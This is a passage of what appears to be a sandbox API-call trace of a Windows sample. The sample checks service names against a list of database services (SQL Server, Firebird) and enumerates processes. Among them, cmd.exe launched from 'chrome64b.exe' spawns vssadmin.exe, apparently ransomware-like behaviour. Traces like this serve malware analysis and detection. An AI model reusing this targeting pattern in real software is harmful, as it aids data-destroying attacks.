(lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.069] lstrlenW (lpString="NgcSvc") returned 6 [0268.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0268.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0268.070] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0268.070] lstrlenW (lpString="NlaSvc") returned 6 [0268.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.070] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.070] lstrlenW (lpString="nsi") returned 3 [0268.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.070] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.070] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.070] lstrlenW (lpString="PcaSvc") returned 6 [0268.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.070] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.070] lstrlenW (lpString="PlugPlay") returned 8 [0268.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.070] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.071] lstrlenW (lpString="Power") returned 5 [0268.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.071] lstrlenW (lpString="ProfSvc") returned 7 [0268.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.071] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.071] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.071] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.071] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.071] lstrlenW (lpString="RpcSs") returned 5 [0268.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.071] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.071] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.072] lstrlenW (lpString="SamSs") returned 5 [0268.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.072] lstrlenW (lpString="Schedule") returned 8 [0268.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.072] lstrlenW (lpString="SecurityHealthService") returned 21 [0268.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0268.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0268.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0268.072] lstrlenW (lpString="SENS") returned 4 [0268.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.073] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.073] lstrlenW (lpString="Spooler") returned 7 [0268.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.073] lstrlenW (lpString="StateRepository") returned 15 [0268.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0268.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0268.073] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0268.073] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0268.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0268.073] lstrlenW (lpString="SysMain") returned 7 [0268.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.073] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.073] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.073] lstrlenW (lpString="SystemEventsBroker") returned 18 [0268.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0268.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0268.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0268.074] lstrlenW (lpString="Themes") returned 6 [0268.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0268.330] Process32FirstW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.331] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.332] lstrlenW (lpString="System") returned 6 [0268.332] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.333] lstrlenW (lpString="smss.exe") returned 8 [0268.333] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.334] lstrlenW (lpString="csrss.exe") returned 9 [0268.334] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.335] lstrlenW (lpString="wininit.exe") returned 11 [0268.335] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.336] lstrlenW (lpString="csrss.exe") returned 9 [0268.336] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.341] lstrlenW (lpString="winlogon.exe") returned 12 [0268.341] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.342] lstrlenW (lpString="services.exe") returned 12 [0268.342] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.343] lstrlenW (lpString="lsass.exe") returned 9 [0268.343] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.344] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.344] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.345] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.345] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.348] lstrlenW (lpString="svchost.exe") returned 11 [0268.348] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.377] lstrlenW (lpString="svchost.exe") returned 11 [0268.377] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.378] lstrlenW (lpString="dwm.exe") returned 7 [0268.378] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.379] lstrlenW (lpString="svchost.exe") returned 11 [0268.379] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.380] lstrlenW (lpString="svchost.exe") returned 11 [0268.380] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.381] lstrlenW (lpString="svchost.exe") returned 11 [0268.381] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.382] lstrlenW (lpString="svchost.exe") returned 11 [0268.382] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.383] lstrlenW (lpString="svchost.exe") returned 11 [0268.383] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.384] lstrlenW (lpString="svchost.exe") returned 11 [0268.384] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.385] lstrlenW (lpString="svchost.exe") returned 11 [0268.385] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.386] lstrlenW (lpString="svchost.exe") returned 11 [0268.386] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.387] lstrlenW (lpString="svchost.exe") returned 11 [0268.387] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.389] lstrlenW (lpString="svchost.exe") returned 11 [0268.389] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.541] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.541] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.542] lstrlenW (lpString="svchost.exe") returned 11 [0268.542] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.543] lstrlenW (lpString="audiodg.exe") returned 11 [0268.543] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.545] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0268.545] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0268.546] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0268.546] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0268.547] lstrlenW (lpString="Memory Compression") returned 18 [0268.547] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.548] lstrlenW (lpString="svchost.exe") returned 11 [0268.548] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.549] lstrlenW (lpString="sihost.exe") returned 10 [0268.549] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0268.550] lstrlenW (lpString="MDMAgent.exe") returned 12 [0268.550] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.551] lstrlenW (lpString="taskhostw.exe") returned 13 [0268.551] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0268.553] lstrlenW (lpString="msoia.exe") returned 9 [0268.553] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.554] lstrlenW (lpString="explorer.exe") returned 12 [0268.554] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.555] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0268.555] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.556] lstrlenW (lpString="SearchUI.exe") returned 12 [0268.556] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.557] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0268.557] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.558] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0268.558] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0268.560] lstrlenW (lpString="chrome64b.exe") returned 13 [0268.560] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0268.561] lstrlenW (lpString="cmd.exe") returned 7 [0268.561] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0268.562] lstrlenW (lpString="conhost.exe") returned 11 [0268.562] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.563] lstrlenW (lpString="svchost.exe") returned 11 [0268.563] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0268.564] lstrlenW (lpString="vssadmin.exe") returned 12 [0268.564] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.565] lstrlenW (lpString="consent.exe") returned 11 [0268.565] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0268.566] CloseHandle (hObject=0x55c) returned 1 [0268.566] Sleep 